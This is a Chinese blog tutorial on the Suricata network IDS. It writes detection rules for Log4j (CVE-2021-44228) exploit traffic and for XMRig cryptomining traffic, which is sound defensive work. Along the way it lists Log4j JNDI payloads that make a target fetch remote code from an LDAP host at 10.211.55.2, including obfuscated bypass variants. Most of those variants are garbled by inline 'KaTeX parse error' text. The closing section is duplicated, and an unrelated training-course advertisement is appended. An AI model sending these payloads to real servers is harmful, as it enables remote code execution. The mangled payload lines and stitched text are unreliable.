Suricata规则下的威胁检测

软件介绍

Suricata
是一个免费、开源、成熟、快速、健壮的网络威胁检测引擎。Suricata引擎能够进行实时入侵检测(IDS)、内联入侵预防(IPS)、网络安全监控(NSM)和离线pcap处理。Suricata
使用强大而广泛的规则和签名语言来检查网络流量,并提供强大的Lua脚本支持来检测复杂的威胁。使用标准的输入和输出格式(如YAML和JSON),使用现有的SIEM、Splunk、Logstash/Elasticsearch、Kibana和其他数据库等工具进行集成将变得非常简单。Suricata项目和代码由开放信息安全基金会(OISF)拥有和支持,OISF是一个非盈利基金会,致力于确保Suricata作为一个开源项目的开发和持续成功。

suricata下载地址:

https://suricata.io/download/

英文官网

https://suricata.readthedocs.io/en/latest/index.html

中文官网

https://www.osgeo.cn/suricata/index.html

1658015228_62d34dfc0ce14e5679d24.png!small?1658015228963

Suricata与Snort区别

Snort(由SourceFire开发和维护)一直是开源入侵检测/防御系统(IDS /
IPS)的实际标准。它的引擎结合了签名,协议和基于异常的检测的优点,并成为世界上应用最广泛的IDS / IPS。

Suricata是由OISF(开发信息安全基金会)开发,它也是基于签名,但是集成了创新的技术。该引擎嵌入了一个HTTP规范化器和分析器(HTP库),可提供非常先进的HTTP流处理,从而能够在OSI模型的第七层(应用层)上解析流量。

IDS :入侵检测系统(Intrusion detection
system,简称“IDS”)根据部署方式一般是一种对网络传输进行即时监视,根据预设的策略、检测规则,在发现可疑传输时产生告警。

IPS :入侵预防系统(Intrusion prevention
system,简称“IPS”)根据部署方式一般是一种能够监视网络或网络设备的网络资料传输行为的计算机网络安全设备,一般位于 防火墙网络
的设备之间,能够 即时的中断、调整或隔离 一些不正常或是具有伤害性的网络资料传输行为。 IPS相对于IDS主能提供了阻断防御功能。

1658015332_62d34e641686af52d51c4.png!small?1658015333025

软件安装

具体安装可以参见官方网站,在Linux下一般分为两种方式及离线(源码)和在线(二进制)。

目前最新版本已经为Suricata-6.0.5

1658015415_62d34eb74617e6b014c04.png!small?1658015417182

推荐使用Ubuntu,因为CentOS停止更新安装问题较多

离线包方式

tar xzvf suricata-6.0.5.tar.gz

cd suricata-6.0.5

./configure

make

make install

在线方式

二进制包方式(需要安装依赖)

sudo add-apt-repository ppa:oisf/suricata-stable

sudo apt-get update

sudo apt-get install suricata

常用语法

1.suricata规则语法

Suricata规则内容支持HTTP、
DNS、tcp、tls、udp、smb等协议的检测,同时支持十六进制、字符串、正则表达式进行匹配,引擎目前还支持Base64、url解码匹配。

规则所需关键字使用时可以根据需求在官方网站查询。由于这部分内容较多,这里不在做过多的赘述。下面将举例说明(最基本的框架):

1658015638_62d34f96d9146061aefa0.png!small?1658015639345

alert http any any -> any any (msg:“这是一个例子”; flow:established,to_server;
content:“yunzui”;nocase;fast_pattern; sid:6688; rev:1; metadata:created_at
2022_07_03,yunzui;)

#alert 命中

#http 协议

#any any -> any any 源IP 源端口 方向 目的IP 目的端口

#() 规则正文

#msg 显示信息

#flow:established,to_server; 流向 建立连接 到服务端

#content:“yunzui”;nocase;fast_pattern; 检测字符串,不区分大小写,多摸快速匹配

#sid 规则唯一标识id

#rev 版本信息

#metadata 备注信息

2.常用关键字

1.content 提取匹配的特征内容

2.nocase 不区分大小写,nocase为content的修饰符,不需要跟参数

3.startswith content的修饰符,不需要跟参数,匹配content 以…开头

startswith 不能与 depth , offset , within 或 distance 混合使用

content:“GET|20|”; startswith; 匹配内容以GET|20|开头

等价于

content:“GET|20|”; depth:4;offset:0;

4.endswith

content的修饰符,不需要跟参数,匹配content 以…结尾

endswith 不能和 offset, within 或 distance混合使用

content:“.php”; endswith;

等价于

content:“.php”;isdatat:!1,relative

5.isdataat

查看负载的特定部分是否仍有数据

isdataat:512; # 负载的512字节位置上,时候有数据 isdataat:8,relative; #
相对一上一次匹配位置开始的n个字节上是否有数据

1658017200_62d355b0a95b6e44f3afe.png!small?1658017200827

关键字很多,具体可以通过官方网站学习,这里不在做过多介绍。

实战检测运用

流量检测(log4j漏洞利用流量检测)

1.通过分析log4j漏洞利用原理及攻击常见payload

${jndi:ldap://10.211.55.2:8099/xobject}
${jndi:ldap://127.0.0.1#10.211.55.2:8099/xobject}
KaTeX parse error: Expected '}', got 'EOF' at end of input: {{upper:j} u p p e r : n {upper:n} upper:n{upper:d} u p p e r : i : {upper:i}: upper:i:{upper:l} u p p e r : d {upper:d} upper:d{upper:a}${upper:p}😕/10.211.55.2:8099/xobject}
KaTeX parse error: Expected '}', got 'EOF' at end of input: {{lower:j} l o w e r : n {lower:n} lower:n{lower:d} l o w e r : i : {lower:i}: lower:i:{lower:l} l o w e r : d {lower:d} lower:d{lower:a}${lower:p}😕/10.211.55.2:8099/xobject}
KaTeX parse error: Expected '}', got 'EOF' at end of input: {{::-j} : : − n {::-n} ::n{::-d} : : − i : {::-i}: ::i:{::-l} : : − d {::-d} ::d{::-a}${::-p}😕/10.211.55.2:8099/xobject}
KaTeX parse error: Expected '}', got 'EOF' at end of input: {{Lt::-j} q A w Q : x z : − n {qAwQ:xz:-n} qAwQ:xz:n{j:j:-d} P R X : j p : − i : {PRX:jp:-i}: PRX:jp:i:{r:M:-l} : : − d {::-d} ::d{h:OjMc:-a}${OeR:iAob:-p}😕/10.211.55.2:8099/xobject}
KaTeX parse error: Expected '}', got 'EOF' at end of input: {{SFQv:jxfH:dhe:MNbb:n:-j} h G S : w : N : − n {hGS:w:N:-n} hGS:w:N:n{:BAwG:A:QLo:-d} m G F i : f j u O : : : − i : {mGFi:fjuO:::-i}: mGFi:fjuO:::i:{:WhYw::-l} X : i a : : P r : − d {X:ia::Pr:-d} X:ia::Pr:d{Bd:mrW:alo:-a}${N::-p}😕/10.211.55.2:8099/xobject}
KaTeX parse error: Expected '}', got 'EOF' at end of input: {{lower:KaTeX parse error: Expected 'EOF', got '}' at position 10: {lower:j}}̲{lower:n}KaTeX parse error: Expected '}', got 'EOF' at end of input: {lower:{lower:KaTeX parse error: Expected 'EOF', got '}' at position 10: {lower:d}}̲}{lower:KaTeX parse error: Expected 'EOF', got '}' at position 10: {lower:i}}̲:{lower:KaTeX parse error: Expected '}', got 'EOF' at end of input: {lower:{lower:l}}}KaTeX parse error: Expected '}', got 'EOF' at end of input: {lower:{lower:d}}KaTeX parse error: Expected '}', got 'EOF' at end of input: {lower:{lower:KaTeX parse error: Expected 'EOF', got '}' at position 10: {lower:a}}̲}{lower:KaTeX parse error: Expected '}', got 'EOF' at end of input: {lower:{lower:${lower:p}}}}😕/10.211.55.2:8099/xobject}
KaTeX parse error: Expected '}', got 'EOF' at end of input: {{upper:KaTeX parse error: Expected '}', got 'EOF' at end of input: {upper:{upper:KaTeX parse error: Expected 'EOF', got '}' at position 10: {upper:j}}̲}}{upper:KaTeX parse error: Expected '}', got 'EOF' at end of input: {upper:{upper:n}}}KaTeX parse error: Expected '}', got 'EOF' at end of input: {upper:{upper:KaTeX parse error: Expected '}', got 'EOF' at end of input: {upper:{upper:KaTeX parse error: Expected 'EOF', got '}' at position 10: {upper:d}}̲}}}{upper:KaTeX parse error: Expected 'EOF', got '}' at position 10: {upper:i}}̲:{upper:KaTeX parse error: Expected '}', got 'EOF' at end of input: {upper:{upper:l}}}KaTeX parse error: Expected '}', got 'EOF' at end of input: {upper:{upper:d}}KaTeX parse error: Expected '}', got 'EOF' at end of input: {upper:{upper:KaTeX parse error: Expected '}', got 'EOF' at end of input: {upper:{upper:KaTeX parse error: Expected 'EOF', got '}' at position 10: {upper:a}}̲}}}{upper:p}😕/10.211.55.2:8099/xobject}
KaTeX parse error: Expected '}', got 'EOF' at end of input: {{upper:KaTeX parse error: Expected '}', got 'EOF' at end of input: {upper:{upper:j}}}KaTeX parse error: Expected '}', got 'EOF' at end of input: {lower:{lower:KaTeX parse error: Expected 'EOF', got '}' at position 10: {lower:n}}̲}{lower:KaTeX parse error: Expected 'EOF', got '}' at position 10: {upper:d}}̲{upper:KaTeX parse error: Expected 'EOF', got '}' at position 10: {lower:i}}̲:{lower:KaTeX parse error: Expected '}', got 'EOF' at end of input: {lower:{upper:KaTeX parse error: Expected 'EOF', got '}' at position 10: {lower:l}}̲}}{lower:KaTeX parse error: Expected '}', got 'EOF' at end of input: {lower:{upper:d}}}KaTeX parse error: Expected '}', got 'EOF' at end of input: {upper:{lower:KaTeX parse error: Expected '}', got 'EOF' at end of input: {upper:{lower:a}}}}KaTeX parse error: Expected '}', got 'EOF' at end of input: {upper:{lower:p}}😕/10.211.55.2:8099/xobject}

1658017961_62d358a9ae3d8e694894c.png!small?1658017961962

2.提取检测特征

漏洞分析复现,判断可能利用的姿势,提取检测特征,同时考虑上述bypass的payload,还有编码绕过等。

特征1 $

特征2 {}

特征3 jndi

特征4 ldap/ldaps/rmi/dns/iiop

特征5 lower

特征6 upper

特征7 http/tcp/dns

3.输出检测Suricata规则

目前就输出部分检测规则,有兴趣的可以自行研究

alert http any any -> any any (msg:“Apache Log4j远程命令执行漏洞(CVE-2021-44228)”;
flow:to_server,established;http.request_line;content:“|24|”;nocase;content:“|7b|”;nocase;content:“jndi|3a|ldap|3a
2f 2f|”;nocase;fast_pattern;sid:66666;rev:1;metadata: by yunzui;)

alert http any any -> any any (msg:“Apache Log4j远程命令执行漏洞(CVE-2021-44228)”;
flow:to_server,established;http.header;content:“|24|”;nocase;content:“|7b|”;nocase;content:“jndi|3a|ldap|3a
2f 2f|”;nocase;fast_pattern;sid:66667;rev:1;metadata: by yunzui;)

alert http any any -> any any (msg:“Apache Log4j远程命令执行漏洞(CVE-2021-44228)”;
flow:to_server,established;http.request_body;content:“|24|”;nocase;content:“|7b|”;nocase;content:“jndi|3a|ldap|3a
2f 2f|”;nocase;fast_pattern;sid:66668;rev:1;metadata: by yunzui;)

alert tcp any any -> any any (msg:“Apache Log4j远程命令执行漏洞(CVE-2021-44228)”;
flow:established,to_server; content:“|24 7b|”;
pcre:“/^(j|\x24\x7b(lower|upper)\x3aj\x7d|\x24\x7b\x3a\x3a\-j\x7d)(n|\x24\x7b(lower|upper)\x3an\x7d|\x24\x7b\x3a\x3a\-n\x7d)/Ri”;
content:“|3a|”; distance:0; content:“|24 7b|env|3a|”;
distance:0;sid:66669;rev:1;metadata: by yunzui;)

alert udp any any -> any any (msg:“Apache Log4j远程命令执行漏洞(CVE-2021-44228)”;
content:“%7bjndi%3a”; nocase; fast_pattern;
pcre:“/^(l|r|d|(\x24|%24)(\x7b|%7b)(lower|upper)(\x3a|%3a)(l|r|d)(\x7d|%7d))(d|n|m|(\x24|%24)(\x7b|%7b)(lower|upper)(\x3a|%3a)(d|n|m)(\x7d|%7d))(a|i|s|(\x24|%24)(\x7b|%7b)(lower|upper)(\x3a|%3a)(a|i|s)(\x7d|%7d))(p|(\x24|%24)(\x7b|%7b)(lower|upper)(\x3a|%3a)p(\x7d|%7d))/Ri”;sid:66670;rev:1;metadata:
by yunzui;)

4.测试检测效果

执行测试命令,正常检测攻击行为

1658242988_62d6c7ac1ecea65e8bbe8.png!small?1658242989443

告警日志

1658242947_62d6c7836290a559ee193.png!small?1658242948053

流量检测(xmrig挖矿行为流量检测)

1.通常挖矿由矿机和矿池构成,基本流程如下:

1658243369_62d6c9296ee0446478967.png!small?1658243369877

2.提取检测特征

分析挖矿流量数据,进行特征提取

特征1 jsonrpc

特征2 method

特征3 agent":"XMRig/6.17.0

特征4 pool.minexmr.com

特征5 tcp/udp

3.输出检测Suricata规则

alert tcp any any -> any any (msg:“xmrig恶意挖矿行为”; flow:established,to_server;
content:“jsonrpc”;nocase;content:“method”; nocase;distance:0;
content:“XMRig/6.17.0”;nocase; fast_pattern;sid:8888;rev:1;metadata: by
yunzui;)

alert udp any any -> any any (msg:“xmrig恶意挖矿行为”; content:“pool.minexmr.com”;
nocase; fast_pattern; sid:9999;rev:1;metadata: by yunzui;)

4.测试检测效果

执行测试命令,正常检测攻击行为1658244888_62d6cf1877c1ea10a8f18.png!small

告警日志

1658244819_62d6ced34ccc3f4d540d3.png!small?1658244819817

总结思考

流量对抗作为网络安全最关键、最重要的一个环节,针对流量的威胁检测显的尤为重要。同时以流量检测为支撑的安全产品层出不穷,其中
XDR(拓展检测响应)目前最受欢迎。而suricata目前作为开源的优秀网络流量检测引擎,并且不断进行了持续优化更新,不仅支持多种网络协议、常见编码、HTTP细分关键字等,大大提升了对威胁检测的有效性,希望对检测响应方向有兴趣的同学可以一起交流学习。

参考链接

https://www.cnblogs.com/linagcheng/p/12559922.html

https://mp.weixin.qq.com/s/tetX6YgCRSIpwan2XICZaA

https://www.iculture.cc/?s=%E6%8C%96%E7%9F%BF&type=post

的优秀网络流量检测引擎,并且不断进行了持续优化更新,不仅支持多种网络协议、常见编码、HTTP细分关键字等,大大提升了对威胁检测的有效性,希望对检测响应方向有兴趣的同学可以一起交流学习。

参考链接

https://www.cnblogs.com/linagcheng/p/12559922.html

https://mp.weixin.qq.com/s/tetX6YgCRSIpwan2XICZaA

https://www.iculture.cc/?s=%E6%8C%96%E7%9F%BF&type=post

接下来我将给各位同学划分一张学习计划表!

学习计划

那么问题又来了,作为萌新小白,我应该先学什么,再学什么?
既然你都问的这么直白了,我就告诉你,零基础应该从什么开始学起:

阶段一:初级网络安全工程师

接下来我将给大家安排一个为期1个月的网络安全初级计划,当你学完后,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web渗透、安全服务、安全分析等岗位;其中,如果你等保模块学的好,还可以从事等保工程师。

综合薪资区间6k~15k

1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(1周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(1周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(1周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

那么,到此为止,已经耗时1个月左右。你已经成功成为了一名“脚本小子”。那么你还想接着往下探索吗?

阶段二:中级or高级网络安全工程师(看自己能力)

综合薪资区间15k~30k

7、脚本编程学习(4周)
在网络安全领域。是否具备编程能力是“脚本小子”和真正网络安全工程师的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力。

零基础入门的同学,我建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习
搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP,IDE强烈推荐Sublime;

Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,没必要看完

用Python编写漏洞的exp,然后写一个简单的网络爬虫

PHP基本语法学习并书写一个简单的博客系统

熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选)

了解Bootstrap的布局或者CSS。

阶段三:顶级网络安全工程师

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

学习资料分享

当然,只给予计划不给予学习资料的行为无异于耍流氓,这里给大家整理了一份【282G】的网络安全工程师从入门到精通的学习资料包,可点击下方二维码链接领取哦。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值